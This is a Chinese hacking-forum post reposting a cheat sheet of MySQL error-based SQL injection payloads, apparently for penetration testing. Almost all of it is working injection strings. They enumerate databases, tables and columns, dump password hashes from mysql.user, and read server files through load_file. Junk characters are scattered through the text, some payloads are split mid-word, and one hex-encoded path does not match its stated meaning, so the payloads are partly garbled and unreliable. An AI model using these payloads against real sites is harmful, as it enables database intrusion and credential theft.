找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 4 d. p0 L) e6 C- B7 h/ W
* H2 @9 f3 T5 i( x
6 P! y/ L* Z0 X/ Q1 n3 n5 V$ J
Mysql暴错注入参考(pdf),每天一贴。。。
# ]6 ~# z) k; z% a
) x' b5 B$ T7 {! HMySql Error Based Injection Reference
( T, k; H8 z+ Y[Mysql暴错注入参考]9 \- z9 V; {8 @7 E  T% t" r  `
Authornig0s1992
0 n: z7 n" X: L5 e) pBlog:http://pnig0s1992.blog.51cto.com/, W8 x! ~7 `* L# `) a, J
TeAm:http://www.FreeBuf.com/. u# x, m- p% ~8 g) _8 G
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功; ]: o- }0 h% w! ]
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
7 M/ O' F4 d; E! P' q0 r! ~8 T查询版本:% u: o8 E+ O8 j% p& F8 Y; \
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
% m; `5 l, ?6 M: S( e1 rjoin+(select+name_const(@@version,0))b)c)6 G6 `4 ~0 p$ }( s8 q; r
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro* R6 J6 J: f2 a3 I) t: P& h
up by a)b)5 x/ F* e3 w$ s% J) T; z1 V
查询当前用户:& Y3 q( _4 ?3 C+ M  [4 S9 C
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
* z$ a$ l. ]) k2 S# Q9 tMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r. v- r( @7 O1 X1 b5 J- x4 ?! B# k
and(0)*2))x+from+information_schema.tables+group+by+x)a)
2 F7 T$ ~5 k9 l* [4 ^/ T查询当前数据库:
) V; N, `1 Y% P5 AMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)5 F/ h# z; T) ^5 B/ t
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo" q* t3 {  \; E  A0 z
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)* r+ E. k4 e8 s
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
! \6 L' k) `. H3 S. d0 vLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n2 B# Z8 F8 P1 i% }
顺序替换0 v! y' \' d9 X" G6 c/ [
爆指定库数目:! t: r2 h* S4 M7 |) s% o
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t5 H/ z3 }; V" Q& n! H% W0 U: [5 ~
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
% e( r  ^- {- _) ~3 C8 X3 W+by+x)a)+and+1=1 0x6D7973716C=mysql
& n( j6 g3 B: @2 u# v0 W依次爆表:  k; L$ X( Q. g5 j( C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t9 n! M8 C- @2 j" N7 @
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta# q4 d. c* ~9 o& f
bles+group+by+x)a)+and+1=1
( }- K& V5 ]  g$ K) k- _0 `0x6D7973716C=Mysql 将n顺序替换
5 c+ A+ n1 q! c/ ]# f爆表内字段数目:, e9 z/ L9 F. s: d
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE" t* n" `/ L/ Q7 f3 }2 ^
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
6 F6 V" g6 X+ Z, d1 [0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1, {/ _; ^1 E8 W2 s& m+ f: @2 ~1 D
依次爆字段:% c4 `- y7 Z2 E( b
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where9 t% g/ ?% b& G! `* Z7 h
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,19 n9 s! o1 n1 C5 G. J2 U
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换% B* [( O& a- ]) h) o
依次暴内容:* a4 W* ~9 g% p/ m4 O" ^8 h
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche' @0 }6 I1 R& ~  \
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
8 A9 _2 _) P3 |" T: B4 e将n顺序替换
' S2 V" e; d9 p' u: q( o6 A爆文件内容:
/ M( @7 r6 n( T, }6 k) Sand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
. a8 @7 |/ n& M' G  Rfrom+information_schema.tables+group+by+a)b)
6 K, {: f2 J; U5 e# F  f/ X0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
4 f  J1 z, N' C2 i" qThx for reading.4 F# G4 [/ t! D! v: l9 B
6 k  `- f9 _' X3 c
不要下载也可以,
) h8 K( B$ U4 H! @

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表